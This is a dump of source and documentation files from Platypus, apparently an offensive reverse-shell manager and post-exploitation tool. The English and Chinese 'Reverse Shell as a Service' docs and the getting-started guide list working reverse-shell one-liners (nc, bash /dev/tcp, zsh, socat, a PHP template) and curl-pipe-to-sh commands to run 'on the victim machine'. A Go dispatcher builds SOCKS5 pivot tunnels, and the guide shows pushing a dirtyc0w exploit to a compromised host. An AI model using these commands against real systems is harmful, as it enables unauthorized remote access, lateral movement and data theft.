-ldflags="-s -w " -trimpath -o ./build/platypus/platypus_linux_amd64 cmd/platypus/main.go 53 | env GOOS=linux GOARCH=arm64 go build -ldflags="-s -w " -trimpath -o ./build/platypus/platypus_linux_arm64 cmd/platypus/main.go 54 | # MacOS 55 | env GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w " -trimpath -o ./build/platypus/platypus_darwin_amd64 cmd/platypus/main.go 56 | env GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w " -trimpath -o ./build/platypus/platypus_darwin_arm64 cmd/platypus/main.go 57 | # Windows 58 | env GOOS=windows GOARCH=amd64 go build -ldflags="-s -w " -trimpath -o ./build/platypus/platypus_windows_amd64.exe cmd/platypus/main.go 59 | find build -type f -executable | xargs upx 60 | 61 | clean: 62 | rm -rf build 63 | rm -rf internal/util/assets/assets.go 64 | rm -rf web/frontend/build 65 | rm -rf web/ttyd/build 66 | -------------------------------------------------------------------------------- /docs/platypus/docs/user-guide/basic/raas.zh.md: -------------------------------------------------------------------------------- 1 | # RaaS 2 | 3 | !!! Warning 4 | 本功能仅针对 `*NIX` 客户端,暂不支持 Windows。 5 | 6 | ![](/images/webui/raas.gif) 7 | 8 | Platypus is able to multiplex the reverse shell listening port. Port `13337 / 1338` can handle reverse shell client connections. 9 | Also, There is another interesting feature that platypus provides, which is called `Reverse Shell as a Service (RaaS)`. 10 | 11 | Assume that you have got an arbitrary RCE on the target application, but the target application will strip the non-alphabet letter like `&`, `>`. then this feature will be useful. 12 | Like you have already used before, here are some **BAD** examples: 13 | 14 | ```bash 15 | nc -e /bin/bash 192.168.174.132 8080 16 | bash -c 'bash -i >/dev/tcp/192.168.174.132/8080 0>&1' 17 | zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.174.132 8080 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' 18 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.174.132:8080 19 | ``` 20 | 21 | To archive your aim, all you need is to construct a URL that indicates the target. 22 | 23 | The command `bash -c "bash -i >/dev/tcp/5.6.7.8/13337 0>&1"` is the equivalent of `curl http://1.2.3.4:13337/5.6.7.8/13337 | sh`, this feature provides the capability to redirect a new reverse shell to another IP and port without remembering the boring reverse shell command. 24 | 25 | If you just want to pop up a reverse shell to the listening port of platypus, the parameter (`1.2.3.4/13337`) can be omitted. 26 | 27 | Once the command gets executed, the reverse shell session will appear in platypus which is listening on `1.2.3.4:13337`. 28 | 29 | ## Quick start 30 | 31 | 1. Start platypus and listen to any port (eg: 1.2.3.4 13337) 32 | 2. Execute `curl http://1.2.3.4:13337 | sh` on the victim machine 33 | 34 | ## Specifying language of reverse shell command (default: bash) 35 | 36 | Also, you can specify the specific language of creating a reverse shell. All available languages are listed at [templates](https://github.com/WangYihang/Platypus/tree/master/assets/template/rsh) 37 | 38 | 1. Start platypus and listen to any port (eg: 1.2.3.4 13337) 39 | 2. Execute `curl http://1.2.3.4:13337/python | sh` on the victim machine 40 | 41 | ## What if I want to pop up the reverse shell to another IP (5.6.7.8) and port (7331)? 42 | 43 | By default, the new reverse shell will be popped up to the server which the port which the HTTP request sent, but you can simply change the IP and port by following these steps: 44 | 45 | 1. Start platypus and listen to any port (eg: 1.2.3.4 13337) 46 | 2. Execute `curl http://1.2.3.4:13337/5.6.7.8/7331/python | sh` on the victim machine 47 | 48 | ## How to add a new language 49 | 50 | Currently, platypus support `awk`, `bash`, `go`, `Lua`, `NC`, `Perl`, `PHP`, `python` and `ruby` that were simply stolen from [PayloadAllThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md), and you can check `templates` folder to view all templates. Also, adding new language support is simple, just replace the real IP and port with `__HOST__` and `__PORT__`. 51 | 52 | ```bash 53 | php -r '$sock=fsockopen("__HOST__",`popen /bin/sh -i <&3 >&3 2>&3", "r");'` 54 | ``` 55 | 56 | Then you should use `go-bindata` to add the template file as an asset of Platypus by typing the following command. 57 | 58 | ``` 59 | go get -u github.com/go-bindata/go-bindata/... 60 | go-bindata -pkg assets -o ./internal/util/assets/assets.go ./assets/config.example.yml ./assets/template/rsh/... ./web/ttyd/dist/... ./web/frontend/build/... ./build/termite/... 61 | ``` 62 | -------------------------------------------------------------------------------- /docs/platypus/docs/user-guide/basic/raas.md: -------------------------------------------------------------------------------- 1 | # Reverse shell as a Service 2 | 3 | 4 | > Inspired by https://github.com/lukechilds/reverse-shell 5 | 6 | > NOTICE: ONLY WORKS on *NIX 7 | 8 | Platypus is able to multiplex the reverse shell listening port. Port `13337 / 1338` can handle reverse shell client connections. 9 | Also, There is another interesting feature that platypus provides, which is called `Reverse Shell as a Service (RaaS)`. 10 | 11 | Assume that you have got an arbitrary RCE on the target application, but the target application will strip the non-alphabet letter like `&`, `>`. then this feature will be useful. 12 | Like you have already used before, here are some **BAD** examples: 13 | 14 | ```bash 15 | nc -e /bin/bash 192.168.174.132 8080 16 | bash -c 'bash -i >/dev/tcp/192.168.174.132/8080 0>&1' 17 | zsh -c 'zmodload zsh/net/tcp && ztcp 192.168.174.132 8080 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY' 18 | socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.174.132:8080 19 | ``` 20 | 21 | To archive your aim, all you need is to construct a URL that indicates the target. 22 | 23 | The command `bash -c "bash -i >/dev/tcp/5.6.7.8/13337 0>&1"` is the equivalent of `curl http://1.2.3.4:13337/5.6.7.8/13337 | sh`, this feature provides the capability to redirect a new reverse shell to another IP and port without remembering the boring reverse shell command. 24 | 25 | If you just want to pop up a reverse shell to the listening port of platypus, the parameter (`1.2.3.4/13337`) can be omitted. 26 | 27 | Once the command gets executed, the reverse shell session will appear in platypus which is listening on `1.2.3.4:13337`. 28 | 29 | ## Quick start 30 | 31 | 1. Start platypus and listen to any port (eg: 1.2.3.4 13337) 32 | 2. Execute `curl http://1.2.3.4:13337 | sh` on the victim machine 33 | 34 | ## Specifying language of reverse shell command (default: bash) 35 | 36 | Also, you can specify the specific language of creating a reverse shell. All available languages are listed at [templates](https://github.com/WangYihang/Platypus/tree/master/assets/template/rsh) 37 | 38 | 1. Start platypus and listen to any port (eg: 1.2.3.4 13337) 39 | 2. Execute `curl http://1.2.3.4:13337/python | sh` on the victim machine 40 | 41 | ## What if I want to pop up the reverse shell to another IP (5.6.7.8) and port (7331)? 42 | 43 | By default, the new reverse shell will be popped up to the server which the port which the HTTP request sent, but you can simply change the IP and port by following these steps: 44 | 45 | 1. Start platypus and listen to any port (eg: 1.2.3.4 13337) 46 | 2. Execute `curl http://1.2.3.4:13337/5.6.7.8/7331/python | sh` on the victim machine 47 | 48 | ## How to add a new language 49 | 50 | Currently, platypus support `awk`, `bash`, `go`, `Lua`, `NC`, `Perl`, `PHP`, `python` and `ruby` that were simply stolen from [PayloadAllThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md), and you can check `templates` folder to view all templates. Also, adding new language support is simple, just replace the real IP and port with `__HOST__` and `__PORT__`. 51 | 52 | ```bash 53 | php -r '$sock=fsockopen("__HOST__",`popen /bin/sh -i <&3 >&3 2>&3", "r");'` 54 | ``` 55 | 56 | Then you should use `go-bindata` to add the template file as an asset of Platypus by typing the following command. 57 | 58 | ``` 59 | go get -u github.com/go-bindata/go-bindata/... 60 | go-bindata -pkg assets -o ./internal/util/assets/assets.go ./assets/config.example.yml ./assets/template/rsh/... ./web/ttyd/dist/... ./web/frontend/build/... ./build/termite/... 61 | ``` 62 | 63 | -------------------------------------------------------------------------------- /web/ttyd/webpack.config.js: -------------------------------------------------------------------------------- 1 | const path = require('path'); 2 | const { merge } = require('webpack-merge'); 3 | const CopyWebpackPlugin = require('copy-webpack-plugin'); 4 | const HtmlWebpackPlugin = require('html-webpack-plugin'); 5 | const MiniCssExtractPlugin = require("mini-css-extract-plugin"); 6 | const OptimizeCSSAssetsPlugin = require("optimize-css-assets-webpack-plugin"); 7 | const TerserPlugin = require('terser-webpack-plugin'); 8 | 9 | const devMode = process.env.NODE_ENV !== 'production'; 10 | 11 | const baseConfig = { 12 | context: path.resolve(__dirname, 'src'), 13 | entry: { 14 | app: './index.tsx' 15 | }, 16 | output: { 17 | path: path.resolve(__dirname, 'dist'), 18 | filename: devMode ? '[name].js' : '[name].[hash].js', 19 | }, 20 | module: { 21 | rules: [ 22 | { 23 | test: /\.ts$/, 24 | enforce: 'pre', 25 | use: 'tslint-loader', 26 | }, 27 | { 28 | test: /\.tsx?$/, 29 | use: 'ts-loader', 30 | exclude: /node_modules/ 31 | }, 32 | { 33 | test: /\.s?[ac]ss$/, 34 | use: [ 35 | devMode ? 'style-loader' : MiniCssExtractPlugin.loader, 36 | 'css-loader', 37 | 'sass-loader', 38 | ], 39 | }, 40 | ] 41 | }, 42 | resolve: { 43 | extensions: ['.tsx', '.ts', '.js'] 44 | }, 45 | plugins: [ 46 | new CopyWebpackPlugin({ 47 | patterns: [ 48 | { from: './favicon.png', to: '.' } 49 | ], 50 | }), 51 | new MiniCssExtractPlugin({ 52 | filename: devMode ? '[name].css' : '[name].[hash].css', 53 | chunkFilename: devMode ? '[id].css' : '[id].[hash].css', 54 | }), 55 | new HtmlWebpackPlugin({ 56 | inject: false, 57 | minify: { 58 | removeComments: true, 59 | collapseWhitespace: true, 60 | }, 61 | title: 'ttyd - Terminal', 62 | template: './template.html' 63 | }) 64 | ], 65 | performance: { 66 | hints: false 67 | }, 68 | }; 69 | 70 | const devConfig = { 71 | mode: 'development', 72 | devServer: { 73 | static: { 74 | directory: path.join(__dirname, 'dist'), 75 | }, 76 | compress: true, 77 | port: 9000, 78 | proxy: [{ 79 | context: ['/token', '/ws'], 80 | target: 'http://localhost:7681', 81 | ws: true, 82 | }] 83 | }, 84 | devtool: 'inline-source-map', 85 | }; 86 | 87 | 88 | const prodConfig = { 89 | mode: 'production', 90 | optimization: { 91 | minimizer: [ 92 | new TerserPlugin({ 93 | terserOptions: { 94 | // Move sourceMap inside the terserOptions object 95 | sourceMap: true, 96 | }, 97 | // Remove the extraneous sourceMap property here 98 | }), 99 | new OptimizeCSSAssetsPlugin({ 100 | cssProcessorOptions: { 101 | map: { 102 | inline: false, 103 | annotation: true 104 | } 105 | } 106 | }), 107 | ] 108 | }, 109 | devtool: 'source-map', 110 | }; 111 | 112 | module.exports = merge(baseConfig, devMode ? devConfig : prodConfig); 113 | -------------------------------------------------------------------------------- /web/frontend/README.md: -------------------------------------------------------------------------------- 1 | # Getting Started with Create React App 2 | 3 | This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app). 4 | 5 | ## Available Scripts 6 | 7 | In the project directory, you can run: 8 | 9 | ### `yarn start` 10 | 11 | Runs the app in the development mode.\ 12 | Open [http://localhost:3000](http://localhost:3000) to view it in the browser. 13 | 14 | The page will reload if you make edits.\ 15 | You will also see any lint errors in the console. 16 | 17 | ### `yarn test` 18 | 19 | Launches the test runner in the interactive watch mode.\ 20 | See the section about [running tests](https://facebook.github.io/create-react-app/docs/running-tests) for more information. 21 | 22 | ### `yarn build` 23 | 24 | Builds the app for production to the `build` folder.\ 25 | It correctly bundles React in production mode and optimizes the build for the best performance. 26 | 27 | The build is minified and the filenames include the hashes.\ 28 | Your app is ready to be deployed! 29 | 30 | See the section about [deployment](https://facebook.github.io/create-react-app/docs/deployment) for more information. 31 | 32 | ### `yarn eject` 33 | 34 | **Note: this is a one-way operation. Once you `eject`, you can’t go back!** 35 | 36 | If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. 37 | 38 | Instead, it will copy all the configuration files and the transitive dependencies (webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. 39 | 40 | You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. 41 | 42 | ## Learn More 43 | 44 | You can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started). 45 | 46 | To learn React, check out the [React documentation](https://reactjs.org/). 47 | 48 | ### Code Splitting 49 | 50 | This section has moved here: [https://facebook.github.io/create-react-app/docs/code-splitting](https://facebook.github.io/create-react-app/docs/code-splitting) 51 | 52 | ### Analyzing the Bundle Size 53 | 54 | This section has moved here: [https://facebook.github.io/create-react-app/docs/analyzing-the-bundle-size](https://facebook.github.io/create-react-app/docs/analyzing-the-bundle-size) 55 | 56 | ### Making a Progressive Web App 57 | 58 | This section has moved here: [https://facebook.github.io/create-react-app/docs/making-a-progressive-web-app](https://facebook.github.io/create-react-app/docs/making-a-progressive-web-app) 59 | 60 | ### Advanced Configuration 61 | 62 | This section has moved here: [https://facebook.github.io/create-react-app/docs/advanced-configuration](https://facebook.github.io/create-react-app/docs/advanced-configuration) 63 | 64 | ### Deployment 65 | 66 | This section has moved here: [https://facebook.github.io/create-react-app/docs/deployment](https://facebook.github.io/create-react-app/docs/deployment) 67 | 68 | ### `yarn build` fails to minify 69 | 70 | This section has moved here: [https://facebook.github.io/create-react-app/docs/troubleshooting#npm-run-build-fails-to-minify](https://facebook.github.io/create-react-app/docs/troubleshooting#npm-run-build-fails-to-minify) 71 | -------------------------------------------------------------------------------- /web/frontend/src/components/Rbac/index.jsx: -------------------------------------------------------------------------------- 1 | import React, {Component} from 'react'; 2 | import SaveButton from '../SaveButton' 3 | import LeftTable from '../LeftTable' 4 | import RightTable from '../RightTable' 5 | import axios from "axios"; 6 | import './index.css' 7 | 8 | class Rbac extends Component { 9 | state = { 10 | leftList:[], 11 | rightList:[], 12 | leftName:"", 13 | hasCreate:false, 14 | flag:"", 15 | } 16 | getUserRoles=()=>{ 17 | this.setState({hasCreate:false,flag:"0"}) 18 | this.getLeftList(false) 19 | this.setState({rightList:[]}) 20 | } 21 | 22 | getRoleAccesses=()=>{ 23 | this.setState({hasCreate:true,flag:"1"}) 24 | this.getLeftList(true) 25 | this.setState({rightList:[]}) 26 | } 27 | 28 | getRightList=(rightlist)=>{ 29 | this.setState({rightList:rightlist}) 30 | } 31 | 32 | getLeftName=(leftName)=>{ 33 | this.setState({leftName:leftName}) 34 | } 35 | 36 | getLeftList=(flag)=>{ 37 | if (flag){ 38 | axios 39 | .get([this.props.rbacUrl, "/roles"].join("")) 40 | .then((response) => { 41 | // this.state.leftList=response.data.msg 42 | if (response.data.status){ 43 | this.setState({leftList:response.data.msg.rolenames}) 44 | }else{ 45 | alert(response.data.msg) 46 | } 47 | 48 | 49 | }) 50 | .catch((error) => { 51 | 52 | // message.error("Cannot connect to API EndPoint: " + error, 5); 53 | }); 54 | } 55 | else{ 56 | axios 57 | .get([this.props.rbacUrl, "/users"].join("")) 58 | .then((response) => { 59 | if (response.data.status){ 60 | this.setState({leftList:response.data.msg.usernames}) 61 | }else{ 62 | alert(response.data.msg) 63 | } 64 | }) 65 | .catch((error)=>{ 66 | 67 | }) 68 | } 69 | } 70 | render() { 71 | return ( 72 |
73 |
74 |
75 | 76 | 77 | 78 | 81 | 84 | 85 |
79 | 80 | 82 | 83 |
86 |
87 | 88 | 89 |
90 | 91 |
92 |
93 | ); 94 | } 95 | } 96 | 97 | export default Rbac; -------------------------------------------------------------------------------- /internal/cli/dispatcher/tunnel.go: -------------------------------------------------------------------------------- 1 | package dispatcher 2 | 3 | import ( 4 | "fmt" 5 | "strconv" 6 | "strings" 7 | 8 | "github.com/WangYihang/Platypus/internal/context" 9 | "github.com/WangYihang/Platypus/internal/utils/log" 10 | ) 11 | 12 | func (dispatcher commandDispatcher) Tunnel(args []string) { 13 | if context.Ctx.Current == nil && context.Ctx.CurrentTermite == nil { 14 | log.Error("Interactive session is not set, please use `Jump` command to set the interactive Interact") 15 | return 16 | } 17 | 18 | if context.Ctx.CurrentTermite != nil { 19 | if len(args) != 6 { 20 | log.Error("Arguments error, use `Help Tunnel` to get more information") 21 | dispatcher.TunnelHelp([]string{}) 22 | return 23 | } 24 | 25 | action := args[0] 26 | mode := args[1] 27 | srcHost := args[2] 28 | srcPort, err := strconv.ParseUint(args[3], 10, 16) 29 | 30 | if err != nil { 31 | log.Error("Invalid port: %s, use `Help Tunnel` to get more information", args[1]) 32 | dispatcher.TunnelHelp([]string{}) 33 | return 34 | } 35 | 36 | dstHost := args[4] 37 | dstPort, err := strconv.ParseUint(args[5], 10, 16) 38 | 39 | if err != nil { 40 | log.Error("Invalid port: %s, use `Help Tunnel` to get more information", args[1]) 41 | dispatcher.TunnelHelp([]string{}) 42 | return 43 | } 44 | 45 | switch strings.ToLower(action) { 46 | case "create": 47 | switch strings.ToLower(mode) { 48 | case "pull": 49 | localAddress := fmt.Sprintf("%s:%d", dstHost, dstPort) 50 | remoteAddress := fmt.Sprintf("%s:%d", srcHost, srcPort) 51 | context.AddPullTunnelConfig(context.Ctx.CurrentTermite, localAddress, remoteAddress) 52 | case "push": 53 | localAddress := fmt.Sprintf("%s:%d", srcHost, srcPort) 54 | remoteAddress := fmt.Sprintf("%s:%d", dstHost, dstPort) 55 | context.AddPushTunnelConfig(context.Ctx.CurrentTermite, localAddress, remoteAddress) 56 | case "dynamic": 57 | context.Ctx.CurrentTermite.StartSocks5Server() 58 | case "internet": 59 | localAddress := fmt.Sprintf("%s:%d", srcHost, srcPort) 60 | remoteAddress := fmt.Sprintf("%s:%d", dstHost, dstPort) 61 | if _, exists := context.Ctx.Socks5Servers[localAddress]; exists { 62 | log.Warn("Socks5 server (%s) already exists", localAddress) 63 | } else { 64 | err := context.StartSocks5Server(localAddress) 65 | if err != nil { 66 | log.Error("Starting local socks5 server failed: %s", err.Error()) 67 | } else { 68 | context.AddPushTunnelConfig(context.Ctx.CurrentTermite, localAddress, remoteAddress) 69 | } 70 | } 71 | default: 72 | log.Error("Invalid mode: %s, should be in {'Pull', 'Push', 'Dynamic', 'Internet'}", mode) 73 | } 74 | case "delete": 75 | switch strings.ToLower(mode) { 76 | case "pull": 77 | log.Error("TBD") 78 | case "push": 79 | log.Error("TBD") 80 | case "dynamic": 81 | log.Error("TBD") 82 | case "internet": 83 | log.Error("TBD") 84 | default: 85 | log.Error("Invalid mode: %s, should be in {'Pull', 'Push', 'Dynamic', 'Internet'}", mode) 86 | } 87 | default: 88 | log.Error("Invalid action: %s, should be in {'Create', 'Delete'}", action) 89 | } 90 | } 91 | 92 | if context.Ctx.Current != nil { 93 | log.Error("Tunneling is not supported in plain reverse shell") 94 | } 95 | } 96 | 97 | func (dispatcher commandDispatcher) TunnelHelp(args []string) { 98 | fmt.Println("Usage of Tunnel") 99 | fmt.Println("\tTunnel [Create|Delete] [Pull|Push|Dynamic|Internet] [Src Host] [Src Port] [Dst Host] [Dst Port]") 100 | } 101 | 102 | func (dispatcher commandDispatcher) TunnelDesc(args []string) { 103 | fmt.Println("Tunnel") 104 | fmt.Println("\tStart a tunnel on local machine which connect to a port in internal network") 105 | } 106 | -------------------------------------------------------------------------------- /docs/platypus/docs/getting-started.md: -------------------------------------------------------------------------------- 1 | # Getting Started 2 | 3 | !!! Tips 4 | 您可以在[**这里**](https://github.com/WangYihang/Platypus/releases)下载到最新的 Release 版, 5 | 您也可以参考[**这里**](/内部机制/build/)直接从源码编译得到 Platypus 的可执行文件。 6 | 7 | ## 运行 8 | 9 | !!! Hint 10 | 这里假设 Platypus 运行在具有公网 IP 的服务器上,其 IP 为 1.3.3.7。 11 | 12 | ### Linux 13 | 14 | ``` 15 | ./platypus_linux_amd64 16 | ``` 17 | ### Windows 18 | 19 | ``` 20 | .\platypus_windows_amd64.exe 21 | ``` 22 | 23 | 启动时 Platypus 将会进行一些初始化工作,并开始监听反向 Shell 端口,一切准备就绪之后,Platypus 将会以命令提示符 `» ` 来提示用户可以开始输入命令与之交互。 24 | 25 | !!! Tips 26 | 如果您对 Platypus 的具体启动流程感兴趣,可以参考[本文](/内部机制/startup/)。 27 | 28 | ## 反弹一个反向 Shell 29 | 30 | !!! Tips 31 | Platypus 支持普通反向 Shell 与 Platypus 本身的二进制 Shell(名为:[Termite](/使用/基本功能/termite/)), 32 | **强烈建议**您在拿到普通反向 Shell 之后使用 Upgrade 命令将其[升级](/使用/基本功能/termite/#termite_2)成 Termite Shell,或者[直接使用 Termite](/使用/基本功能/termite/#termite-shell) 来反弹。 33 | 34 | 受到 [lukechilds](https://github.com/lukechilds) 的 [reverse-shell](https://github.com/lukechilds/reverse-shell) 项目的启发,Platypus 支持 Reverse Shell as a Serivce (RaaS),基本语法与其相同。在 RicterZ 的[推荐](https://github.com/WangYihang/Platypus/issues/30)下,增加了一些不同语言的反向 Shell 的 Payload。 35 | 36 | 您可以直接在目标机器上执行如下命令得到一个反向 Shell,从此不用再记忆各种繁琐的反向 Shell 命令。 37 | 如果您希望了解更加高级的 RaaS 的用法,请参考[本文](/使用/基本功能/raas/)。 38 | 39 | ```bash 40 | curl http://1.3.3.7:13338 | sh 41 | ``` 42 | 43 | ### 反弹 Shell 至当前 Platypus(`1.3.3.7:13338`) 44 | 45 | ```bash 46 | curl http://1.3.3.7:13338 | sh 47 | curl http://1.3.3.7:13338/python | sh 48 | ``` 49 | 50 | ### 反弹 Shell 至其他平台(`2.3.3.7:4444`) 51 | 52 | ```bash 53 | curl http://1.3.3.7:13338/2.3.3.7/4444 | sh 54 | curl http://1.3.3.7:13338/2.3.3.7/4444/ruby | sh 55 | ``` 56 | 57 | 反弹成功之后,Platypus 会对新上线的 Shell 进行基础的信息搜集(如:操作系统,用户名等), 58 | 当信息搜集结束后,即可利用 Platypus 与之进行交互。 59 | 60 | ## 与 Platypus 交互 61 | 62 | !!! Hint 63 | Platypus 提供 3 种与之交互的方式。 64 | 65 | * [命令行](/使用/交互方式/cli/) 66 | * [Web 界面](/使用/交互方式/web/) 67 | * [Python SDK](/使用/交互方式/sdk/) 68 | 69 | 这里只介绍最基础的**命令行**模式的一些命令。 70 | 71 | !!! Hint 72 | Platypus 对命令的大小写不敏感并且支持 Tab 自动对命令进行补全,您可以输入命令前缀然后按下 ++tab++ 键即可自动补全。 73 | 74 | Platypus 的命令行模式支持 `Help`、`List`、`Jump`、`Download`、`Upload` 以及 `Interact` 等命令。 75 | 76 | ### Help 77 | 78 | 打印命令的帮助信息。 79 | 80 | #### 列出所有受支持的命令 81 | 82 | ```bash 83 | » Help 84 | ``` 85 | 86 | #### 列出 List 命令的帮助信息 87 | 88 | ```bash 89 | » Help List 90 | ``` 91 | 92 | ### List 93 | 94 | 列出当前正在监听的服务器以及每一个服务器上存活的 Shell。 95 | 96 | ```bash 97 | » List 98 | 2021/08/11 22:46:10 Listing 2 listening servers 99 | 2021/08/11 22:46:10 [9442daedd052d7cdfebc43092a4a3050] is listening on 0.0.0.0:13337, 0 clients 100 | 2021/08/11 22:46:10 [1b7fb280df68ceebae36060c938a2ced] is listening on 0.0.0.0:13338, 0 clients 101 | ``` 102 | 103 | ### Jump 104 | 105 | !!! Tips 106 | Platypus 会根据配置文件中的[哈希计算模式](/内部机制/hashing/)对每一个上线的 Shell 计算哈希,该哈希会作为该 Shell 的唯一标识。 107 | 108 | 跳转到某一个 Shell 对其进行操作。 109 | 110 | 例如: 111 | 112 | ``` 113 | » Jump 1b7fb280df68ceebae36060c938a2ced 114 | ``` 115 | 116 | 跳转成功后,终端的命令提示符将会修改为当前 Shell 的相关信息。 117 | 后续的命令(如:`Interact`)将会直接对当前的 Shell 进行操作。 118 | 119 | ### Interact 120 | 121 | 当跳转到某一个 Shell 之后,与之进行交互。 122 | 123 | !!! Warning 124 | * 如果您直接执行 Interact 命令得到的 Shell 将会与 netcat 类似,并非纯交互式 Shell。 125 | * 如果您想要退出当前正在交互的 Shell,可以直接输入 `exit` 即可返回。 126 | * 如果您希望得到一个**像 SSH 一样好用丝滑的 Shell** 请参考[本文](/使用/基本功能/interact/)。 127 | 128 | ### Upload / Download 129 | 130 | 当跳转到某一个 Shell 之后,上传或下载文件。 131 | 132 | !!! Hints 133 | 目前 Platypus 只支持在 Cli 模式下进行文件上传下载操作 134 | 135 | #### 上传文件 136 | 137 | 将 Platypus 当前文件夹下的 `dirtyc0w.c` 上传至当前交互主机的 `/tmp/dirtyc0w.c`。 138 | ```bash 139 | » Upload ./dirtyc0w.c /tmp/dirtyc0w.c 140 | ``` 141 | 142 | #### 下载文件 143 | 144 | 将当前交互主机的 `/tmp/www.tar.gz` 下载至 Platypus 当前文件夹下的 `www.tar.gz` 中。 145 | 146 | ```bash 147 | » Download /tmp/www.tar.gz ./www.tar.gz 148 | ``` 149 | --------------------------------------------------------------------------------